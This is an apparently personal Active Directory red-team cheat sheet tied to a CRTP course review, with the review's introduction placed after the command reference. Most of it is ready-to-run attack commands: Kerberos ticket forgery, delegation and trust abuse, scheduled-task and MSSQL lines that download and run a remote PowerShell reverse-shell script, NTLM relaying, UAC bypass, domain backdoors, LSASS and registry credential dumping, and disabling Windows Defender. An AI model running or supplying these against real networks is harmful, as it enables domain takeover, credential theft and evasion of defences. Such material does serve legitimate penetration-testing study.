# Overpass-the-hash (more risky than Rubeus, writes to LSASS memory)
sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe

# Or, a more opsec-safe version that uses the AES256 key (similar to with Rubeus above) - works for multiple Mimikatz commands
sekurlsa::pth /user:Administrator /domain:targetdomain.com /aes256:[AES256KEY] /run:powershell.exe

# Golden ticket (domain admin, w/ some ticket properties to avoid detection)
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Silver ticket for a specific SPN with a compromised service / machine account
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

A nice overview of the SPNs relevant for offensive purposes is provided here (scroll down) and here.

Command execution with scheduled tasks

Requires ‘Host’ SPN

To create a task:

# Mind the quotes. Use encoded commands if quoting becomes too much of a pain
schtasks /create /tn "shell" /ru "NT Authority\SYSTEM" /s dc.targetdomain.com /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"

To trigger the task:

schtasks /RUN /TN "shell" /s dc.targetdomain.com

Command execution with WMI

Requires ‘Host’ and ‘RPCSS’ SPNs

From Windows

Invoke-WmiMethod win32_process -ComputerName dc.targetdomain.com -name create -argumentlist "powershell.exe -e $encodedCommand"

From Linux

# with password
impacket-wmiexec DOMAIN/targetuser:password@172.16.4.101

# with hash
impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -hashes :e0e223d63905f5a7796fb1006e7dc594

# with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs)
impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -no-pass -k

Command execution with PowerShell Remoting

Requires ‘CIFS’ and ‘HTTP’ SPNs. May also need the ‘WSMAN’ or ‘RPCSS’ SPNs (depending on OS version)

# Create credential to run as another user (not needed after e.g. Overpass-the-Hash)
# Leave out -Credential $Cred in the below commands to run as the current user instead
$SecPassword = ConvertTo-SecureString 'VictimUserPassword' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\targetuser', $SecPassword)

# Run a command remotely (can be used on multiple machines at once)
Invoke-Command -Credential $Cred -ComputerName dc.targetdomain.com -ScriptBlock {whoami; hostname}

# Launch a session as another user (prompt for password instead, for use with e.g. RDP)
Enter-PsSession -ComputerName dc.targetdomain.com -Credential DOMAIN/targetuser

# Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt
$sess = New-PsSession -Credential $Cred -ComputerName dc.targetdomain.com
Invoke-Command -Session $sess -FilePath c:\path\to\file.ps1
Enter-PsSession -Session $sess

# Copy files to or from an active PowerShell remoting session
Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess -Destination "C:\Users\public\"

Unconstrained delegation

Unconstrained Delegation can be set on a frontend service (e.g., an IIS web server) to allow it to delegate on behalf of a user to any service in the domain (towards a backend service, such as an MSSQL database).

DACL UAC property: TrustedForDelegation.

Exploitation

With administrative privileges on a server with Unconstrained Delegation set, we can dump the TGTs for other users that have a connection. If we do this successfully, we can impersonate the victim user towards any service in the domain.

With Mimikatz:

sekurlsa::tickets /export
kerberos::ptt c:\path\to\ticket.kirbi

Or with Rubeus:

.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:doIFSDCC[...]

We can also gain the hash for a domain controller machine account, if that DC is vulnerable to the printer bug. If we do this successfully, we can DCSync the domain controller (see below) to completely compromise the current domain.

On the server with Unconstrained Delegation, monitor for new tickets with Rubeus.

.\Rubeus.exe monitor /interval:5 /nowrap

From attacking machine, entice the Domain Controller to connect using the printer bug. Binary from here.

.\MS-RPRN.exe \\dc.targetdomain.com \\unconstrained-server.targetdomain.com

The TGT for the machine account of the DC should come in in the first session. We can pass this ticket into our current session to gain DCSync privileges (see below).

.\Rubeus.exe ptt /ticket:doIFxTCCBc...

Constrained delegation

Constrained delegation can be set on the frontend server (e.g. IIS) to allow it to delegate to only selected backend services (e.g. MSSQL) on behalf of the user.

DACL UAC property: TrustedToAuthForDelegation. This allows s4u2self, i.e. requesting a TGS on behalf of anyone to oneself, using just the NTLM password hash. This effectively allows the service to impersonate other users in the domain with just their hash, and is useful in situations where Kerberos isn’t used between the user and frontend.

DACL Property: msDS-AllowedToDelegateTo. This property contains the SPNs it is allowed to use s4u2proxy on, i.e. requesting a forwardable TGS for that server based on an existing TGS (often the one gained from using s4u2self). This effectively defines the backend services that constrained delegation is allowed for.

NOTE: These properties do NOT have to exist together! If s4u2proxy is allowed without s4u2self, user interaction is required to get a valid TGS to the frontend service from a user, similar to unconstrained delegation.

Exploitation

In this case, we use Rubeus to automatically request a TGT and then a TGS with the ldap SPN to allow us to DCSync using a machine account.

# Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user)
.\Rubeus.exe asktgt /user:svc_with_delegation /domain:targetdomain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

# Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt

# Same as the two above steps, but access the LDAP service on the DC instead (for dcsync)
.\Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

Resource-based constrained delegation

Resource-Based Constrained Delegation (RBCD) configures the backend server (e.g. MSSQL) to allow only selected frontend services (e.g. IIS) to delegate on behalf of the user. This makes it easier for specific server administrators to configure delegation, without requiring domain admin privileges.

DACL Property: msDS-AllowedToActOnBehalfOfOtherIdentity.

In this scenario, s4u2self and s4u2proxy are used as above to request a forwardable ticket on behalf of the user. However, with RBCD, the KDC checks if the SPN for the requesting service (i.e., the frontend service) is present in the msDS-AllowedToActOnBehalfOfOtherIdentity property of the backend service. This means that the frontend service needs to have an SPN set. Thus, attacks against RBCD have to be performed from either a service account with SPN or a machine account.

Exploitation

If we compromise a frontend service that appears in the RBCD property of a backend service, exploitation is the same as with constrained delegation above. This is however not too common.

A more often-seen attack to RBCD is when we have GenericWrite, GenericAll, WriteProperty, or WriteDACL permissions to a computer object in the domain. This means we can write the msDS-AllowedToActOnBehalfOfOtherIdentity property on this machine account to add a controlled SPN or machine account to be trusted for delegation. We can even create a new machine account and add it. This allows us to compromise the target machine in the context of any user, as with constrained delegation.

# Create a new machine account using PowerMad
New-MachineAccount -MachineAccount NewMachine -Password $(ConvertTo-SecureString 'P4ssword123!' -AsPlainText -Force)

# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target
$sid = Get-DomainComputer -Identity NewMachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)

# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target
Get-DomainComputer -Identity TargetSrv | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target
.\Rubeus.exe s4u /user:NewMachine$ /rc4:A9A70FD4DF48FBFAB37E257CFA953312 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv.targetdomain.com /ptt

Abusing domain trust

All commands must be run with DA privileges in the current domain.

Note that if you completely compromise a child domain (currentdomain.targetdomain.com), you can by definition also compromise the parent domain (targetdomain.com) due to the implicit trust relationship. The same counts for any trust relationship where SID filtering is disabled (see ‘Abusing inter-forest trust’ below).

Using domain trust key

From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain’s enterprise admins group to our ‘SID history’.

kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:targetdomain.com /ticket:c:\users\public\ticket.kirbi

Pass this ticket with Rubeus.

.\Rubeus.exe asktgs /ticket:c:\users\public\ticket.kirbi /service:LDAP/dc.targetdomain.com /dc:dc.targetdomain.com /ptt

We can now DCSync the target domain (see below).

Using krbtgt hash

From the DC, dump the krbtgt hash using e.g. DCSync or LSADump. Then, using this hash, forge an inter-realm TGT using Mimikatz, as with the previous method.

Doing this requires the SID of the current domain as the /sid parameter, and the SID of the target domain as part of the /sids parameter. You can grab these using PowerView’s Get-DomainSID. Use a SID History (/sids) of *-516 and S-1-5-9 to disguise as the Domain Controllers group and Enterprise Domain Controllers respectively, to be less noisy in the logs.

kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:DC$ /groups:516 /ptt

If you are having issues creating this ticket, try adding the ’target’ flag, e.g. /target:targetdomain.com.

Alternatively, generate a domain admin ticket with SID history of enterprise administrators group in the target domain.

kerberos::golden /user:Administrator /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt

We can now immediately DCSync the target domain, or get a reverse shell using e.g. scheduled tasks.

Abusing inter-forest trust

Since a forest is a security boundary, we can only access domain services that have been shared with the domain we have compromised (our source domain). Use e.g. BloodHound to look for users that have an account (with the same username) in both forests and try password re-use. Additionally, we can use BloodHound or PowerView to hunt for foreign group memberships between forests. The PowerView command:

Get-DomainForeignGroupMember -domain targetdomain.com

In some cases, it is possible that SID filtering (the protection causing the above), is disabled between forests. If you run Get-DomainTrust and you see the TREAT_AS_EXTERNAL property, this is the case! In this case, you can abuse the forest trust like a domain trust, as described above. Note that you still can NOT forge a ticket for any SID between 500 and 1000 though, so you can’t become DA (not even indirectly through group inheritance). In this case, look for groups that grant e.g. local admin on the domain controller or similar non-domain privileges. For more information, refer to this blog post.

To impersonate a user from our source domain to access services in a foreign domain, we can do the following. Extract inter-forest trust key as in ‘Using domain trust key’ above.

Use Mimikatz to generate a TGT for the target domain using the trust key:

Kerberos::golden /user:Administrator /service:krbtgt /domain:currentdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /target:targetdomain.com /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:ticket.kirbi

Then, use Rubeus to ask a TGS for e.g. the CIFS service on the target DC using this TGT.

.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

Now we can use the CIFS service on the target forest’s DC as the DA of our source domain (again, as long as this trust was configured to exist).

Abusing MSSQL databases for lateral movement

MSSQL databases can be linked, such that if you compromise one you can execute queries (or even OS commands!) on other databases in the context of a specific user (sa maybe? 😙). If this is configured, it can even be used to traverse Forest boundaries! If we have SQL execution, we can use the following commands to enumerate database links.

-- Find linked servers
EXEC sp_linkedservers

-- Run SQL query on linked server
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')

-- Enable 'xp_cmdshell' on remote server and execute commands, only works if RPC is enabled
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER

We can also use PowerUpSQL to look for databases within the domain, and gather further information on (reachable) databases. We can also automatically look for, and execute queries or commands on, linked databases (even through multiple layers of database links).

# Get MSSQL databases in the domain, and test connectivity
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft

# Try to get information on all domain databases
Get-SQLInstanceDomain | Get-SQLServerInfo

# Get information on a single reachable database
Get-SQLServerInfo -Instance TARGETSERVER

# Scan for MSSQL misconfigurations to escalate to SA
Invoke-SQLAudit -Verbose -Instance TARGETSERVER

# Execute SQL query
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER

# Run command (enables XP_CMDSHELL automatically if required)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" |  select -ExpandProperty CommandResults

# Automatically find all linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft

# Run command if XP_CMDSHELL is enabled on any of the linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft

If you have low-privileged access to a MSSQL database and no links are present, you could potentially force NTLM authentication by using the xp_dirtree stored procedure to access this share. If this is successful, the NetNTLM for the SQL service account can be collected and potentially cracked or relayed to compromise machines as that service account.

EXEC master..xp_dirtree "\\192.168.49.67\share"

Example command to relay the hash to authenticate as local admin (if the service account has these privileges) and run calc.exe. Omit the -c parameter to attempt a secretsdump instead.

sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c 'calc.exe'

Abusing Group Policy Objects for lateral movement

If we identify that we have the permissions to edit and link new Group Policy Objects (GPOs) within the domain (refer to ‘AD Enumeration With PowerView’), we can abuse these privileges to move laterally towards other machines.

As an example, we can use the legitimate Remote System Administration Tools (RSAT) for Windows to create a new GPO, link it to the target, and deploy a registry runkey to add a command that will run automatically the next time the machine boots.

# Create a new GPO and link it to the target server
New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'

# Link an existing GPO to another target server
New-GPLink -Target 'OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com' -Name 'Totally Legit GPO'

# Deploy a registry runkey via the GPO
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString

We can also use SharpGPOAbuse to deploy an immediate scheduled task, which will run whenever the group policy is refreshed (every 1-2 hours by default). SharpGPOABuse does not create its own GPO objects, so we first have to run the commands for creating and linking GPOs listed above. After this, we can run SharpGPOAbuse to deploy the immediate task.

SharpGPOAbuse.exe --AddComputerTask --TaskName "Microsoft LEGITIMATE Hotfix" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c start calc.exe" --GPOName "Totally Legit GPO"

Privilege Escalation

For more things to look for (both Windows and Linux), refer to my OSCP cheat sheet and command reference.

PowerUp

# Check for vulnerable programs and configs
Invoke-AllChecks

# Exploit vulnerable service permissions (does not require touching disk)
Invoke-ServiceAbuse -Name "VulnerableSvc" -Command "net localgroup Administrators DOMAIN\user /add"

# Exploit an unquoted service path vulnerability to spawn a beacon
Write-ServiceBinary -Name 'VulnerableSvc' -Command 'c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update' -Path 'C:\Program Files\VulnerableSvc'

# Restart the service to exploit (not always required)
net.exe stop VulnerableSvc
net.exe start VulnerableSvc

UAC Bypass

Using SharpBypassUAC.

# Generate EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64

# Use SharpBypassUAC e.g. from a CobaltStrike beacon
beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==

In some cases, you may get away better with running a manual UAC bypass, such as the FODHelper bypass which is quite simple to execute in PowerShell.

# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"
 
# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force
 
# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
 
# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Persistence

Startup folder

Just drop a binary. Classic. 😎🚩

In current user folder, will trigger when current user signs in:

c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Or in the global startup folder, requires administrative privileges but will trigger as SYSTEM on boot and in a user context whenever any user signs in:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Domain Persistence

Must be run with DA privileges.

Mimikatz skeleton key attack

Run from DC. Enables password “mimikatz” for all users. 🚩

privilege::debug
misc::skeleton

Grant specific user DCSync rights with PowerView

Gives a user of your choosing the rights to DCSync at any time. May evade detection in some setups.

Add-ObjectACL -TargetDistinguishedName "dc=targetdomain,dc=com" -PrincipalSamAccountName BackdoorUser -Rights DCSync

Domain Controller DSRM admin

The DSRM admin is the local administrator account of the DC. Remote logon needs to be enabled first.

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

Now we can login remotely using the local admin hash dumped on the DC before (with lsadump::sam, see ‘Dumping secrets with Mimikatz’ below). Use e.g. ‘overpass-the-hash’ to get a session (see ‘Mimikatz’ above).

Modifying security descriptors for remote WMI access

Give user WMI access to a machine, using Set-RemoteWMI cmdlet from Nishang. Can be run to persist access to e.g. DCs.

Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'root\cimv2'

For execution, see ‘Command execution with WMI’ above.

Modifying security descriptors for PowerShell Remoting access

Give user PowerShell Remoting access to a machine, using Set-RemotePSRemoting.ps1 cmdlet from Nishang. Can be run to persist access to e.g. DCs.

Set-RemotePSRemoting -UserName BackdoorUser -ComputerName dc.targetdomain.com

For execution, see ‘Command execution with PowerShell Remoting’ above.

Modifying DC registry security descriptors for remote hash retrieval using DAMP

Using DAMP toolkit, we can backdoor the DC registry to give us access on the SAM, SYSTEM, and SECURITY registry hives. This allows us to remotely dump DC secrets (hashes).

We add the backdoor using the Add-RemoteRegBackdoor.ps1 cmdlet from DAMP.

Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser

Dump secrets remotely using the RemoteHashRetrieval.ps1 cmdlet from DAMP (run as ‘BackdoorUser’ user).

# Get machine account hash for silver ticket attack
Get-RemoteMachineAccountHash -ComputerName DC01

# Get local account hashes
Get-RemoteLocalAccountHash -ComputerName DC01

# Get cached credentials (if any)
Get-RemoteCachedCredential -ComputerName DC01

DCShadow

DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.

Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses Set-DCShadowPermissions.ps1 cmdlet).

Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose

Then, from any machine, use Mimikatz to stage the DCShadow attack.

# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"

# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519

# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl

## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid

## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])

Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs 😈

lsadump::dcshadow /push

Post-Exploitation

LSASS protection

Sometimes, LSASS is configured to run as a protected process (PPL). You can query this with PowerShell as follows.

Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL" 

If this is the case, you can’t just dump or parse LSASS, and you need to disable the protection with something like mimidrv.sys. I won’t discuss how to do that here, but there are tools such as PPLDump available to help.

Dumping OS credentials with Mimikatz

# Dump logon passwords
sekurlsa::logonpasswords

# Dump all domain hashes from a DC
## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩
lsadump::lsa /patch

# Dump only local users
lsadump::sam

# DCSync (requires 'ldap' SPN)
lsadump::dcsync /user:DOMAIN\krbtgt /domain:targetdomain.com

# Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩
vault::list
vault::cred /patch

# Dump Kerberos encryption keys, including the AES256 key for better opsec (see 'Lateral Movement with Rubeus' section) 
sekurlsa::ekeys

Abusing the Data Protection API (DPAPI) with Mimikatz

Mimikatz has quite some functionality to access Windows’ DPAPI, which is used to encrypt many credentials, including e.g. browser passwords.

Note that Mimikatz will automatically cache the master keys that it has seen (check cache with dpapi::cache), but this does NOT work if no Mimikatz session is persisted (e.g. in Cobalt Strike or when using Invoke-Mimikatz). More information on using Mimikatz for DPAPI is available here.

# Find the IDs of protected secrets for a specific user
dir C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials

# Get information, including the used master key ID, from a specific secret (take the path from above)
dpapi::cred /in:C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3

# IF YOU ARE PRIVILEGED
# Dump all master keys from the current system
sekurlsa::dpapi

# IF YOU ARE NOT PRIVILEGED (session as target user required)
# Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)
dpapi::masterkey /rpc /in:C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\S-1-5-21-3865823697-1816233505-1834004910-1124\dd89dddf-946b-4a80-9fd3-7f03ebd41ff4

# Decrypt the secret using the retrieved master key
# Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)
dpapi::cred /in:C:\Users\[USERNAME]]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad

Dumping secrets without Mimikatz

We can also parse system secrets without using Mimikatz on the target system directly.

Dumping LSASS

The preferred way to run Mimikatz is to do it locally with a dumped copy of LSASS memory from the target. Dumpert, Procdump, or other (custom) tooling can be used to dump LSASS memory.

# Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly
.\procdump.exe -r -ma lsass.exe lsass.dmp

After downloading the memory dump file on our attacking system, we can run Mimikatz and switch to ‘Minidump’ mode to parse the file as follows. After this, we can run Mimikatz’ credential retrieval commands as usual.

sekurlsa::minidump lsass.dmp

Dumping secrets from the registry

We can dump secrets from the registry and parse the files “offline” to get a list of system secrets. 🚩

On the target, we run the following:

reg.exe save hklm\sam c:\users\public\downloads\sam.save
reg.exe save hklm\system c:\users\public\downloads\system.save
reg.exe save hklm\security c:\users\public\downloads\security.save

Then on our attacking box we can dump the secrets with Impacket:

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out

Dumping secrets from a Volume Shadow Copy

We can also create a “Volume Shadow Copy” of the SAM and SYSTEM files (which are always locked on the current system), so we can still copy them over to our local system. An elevated prompt is required for this.

wmic shadowcopy call create Volume='C:\'
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\public\sam.save
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\public\system.save

Windows Defender evasion

Note: All below commands require administrative privileges on the system!

You can query Defender exclusions using PowerShell. If it returns any excluded paths, just execute your malware from there!

Get-MpPreference | select-object -ExpandProperty ExclusionPath

Alternatively, you could add an exclusion directory for your shady stuff. 👀

Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads\SuperLegitDownloadDirectory"

If you’re more aggro, you can disable Defender entirely. It goes without saying that disabling AV/EDR products is never a good idea in practice, best to work around it instead. 🚩

# Disable realtime monitoring altogether
Set-MpPreference -DisableRealtimeMonitoring $true

# Only disables scanning for downloaded files or attachments
Set-MpPreference -DisableIOAVProtection $true

As an alternative to disabling Defender, you can leave it enabled and just remove all virus signatures from it.

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Chisel proxying

If you need to proxy traffic over a compromised Windows machine, Chisel (or SharpChisel) is a good choice. Chisel allows port forwarding, but my favorite technique is setting up a reverse SOCKS proxy on the target machine, allowing you to tunnel any traffic over the target system.

On our attacking machine (Linux in this case), we start a Chisel server on port 80 in reverse SOCKS5 mode.

sudo ./chisel server -p 80 --reverse --socks5

Then, on our compromised target system, we connect to this server and tell it to proxy all traffic over it via the reverse SOCKS5 tunnel.

.\chisel.exe client 192.168.49.67:80 R:socks

A proxy is now open on port 1080 of our linux machine. We can now use e.g. ProxyChains to tunnel over the target system.

Juicy files

There are lots of files that may contain interesting information. Tools like WinPEAS or collections like PowerSploit may help in identifying juicy files (for privesc or post-exploitation).

Below is a list of some files I have encountered to be of relevance. Check files based on the programs and/or services that are installed on the machine.

In addition, don’t forget to enumerate any local databases with sqlcmd or Invoke-SqlCmd!

# All user folders
## Limit this command if there are too many files ;)
tree /f /a C:\Users

# Web.config
C:\inetpub\www\*\web.config

# Unattend files
C:\Windows\Panther\Unattend.xml

# RDP config files
C:\ProgramData\Configs\

# Powershell scripts/config files
C:\Program Files\Windows PowerShell\

# PuTTy config
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty

# FileZilla creds
C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml

# Jenkins creds (also check out the Windows vault, see above)
C:\Program Files\Jenkins\credentials.xml

# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml

# TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password

Introduction

As a red teamer -or as a hacker in general- you’re guaranteed to run into Microsoft’s Active Directory sooner or later. Almost every major organization uses Active Directory (which we will mostly refer to as ‘AD’) to manage authentication and authorization of servers and workstations in their environment. It is a complex product, and managing it securely becomes increasingly difficult at scale.

It is exactly for this reason that AD is so interesting from an offensive perspective. Due to the scale of most AD environments, misconfigurations that allow for lateral movement or privilege escalation on a domain level are almost always present. If you can effectively identify and exploit these misconfigurations, you can compromise an entire organization without even launching an exploit at a single server. Sounds cool, right?

Unfortunately, as mentioned, AD is a complex product and identifying and exploiting misconfigurations in AD environments is not always trivial. Furthermore, it can be daunting to “start with” AD exploitation because there’s simply so much to learn. That’s where the ‘Attacking and Defending Active Directory Lab’ course by AlteredSecurity comes in!

This course will grant you the Certified Red Team Professional (CRTP) certification if you manage to best the exam, and it will set you up with a sound foundation for further AD exploitation adventures! In this blog, I will be reviewing this course based on my own experiences with it (on the date of publishing this blog I got confirmation that I passed the exam 🎉).

The Course

The course describes itself as a “beginner friendly” course, supported by a lab environment “for security professionals to understand, analyze, and practice threats and attacks in a modern Active Directory Environment”. The theoretical part of the course is comprised of 37 videos (totaling approximately 14 hours of video material), explaining the various concepts and as well as walking through the various learning goals. An overview of the video material is provided on the course page.

Keep in mind that this course is aimed at beginners, so if you’re familiar with Windows exploitation and/or Active Directory you will know a lot of the covered contents. Still, the discussion of underlying concepts will help even experienced red teamers get a better grip on the logic behind AD exploitation.

The course theory, though not always living up to a high quality standard in terms of presentation and slide material, excels in terms of subject matter. The discussed concepts are relevant and actionable in real-life engagements. The outline of the course is as follows.

• Domain Enumeration
• Local Privilege Escalation
• Lateral Movement
• Domain Persistence
• Domain Privilege Escalation
• Cross-Forest Attacks
• Forest Persistence
• Detection and Defense

Since I have some experience with hacking through my work and OSCP (see my earlier blog posts 🙃), the section on privesc as well as some basic AD concepts were familiar to me. However, I was caught by surprise on how much new techniques there are to discover, especially in the domain persistence section (often overlooked!).

You may notice that there is only one section on detection and defense. While interesting, this is not the main selling point of the course. If you’re a blue teamer looking to improve their AD defense skills, this course will help you understand the ‘red’ mindset, possible configuration flaws, and to some extent how to monitor and detect attacks on these flaws. However, the exam is fully focused on red so I would say just the course materials should suffice for most blue teamers (unless you’re up for an offensive challenge!).

To help you judge whether or not this course is for you, here are some of the key techniques discussed in the course. If you know all of the below, then this course is probably not for you! Note, this list is not exhaustive and there are much more concepts discussed during the course.

• Domain enumeration, manual and using BloodHound (♥)
• Kerberoasting, AS-REP roasting
• ACL-based attacks and persistence mechanisms
• Golden- and silver ticket attacks
• Constrained- and unconstrained delegation attacks
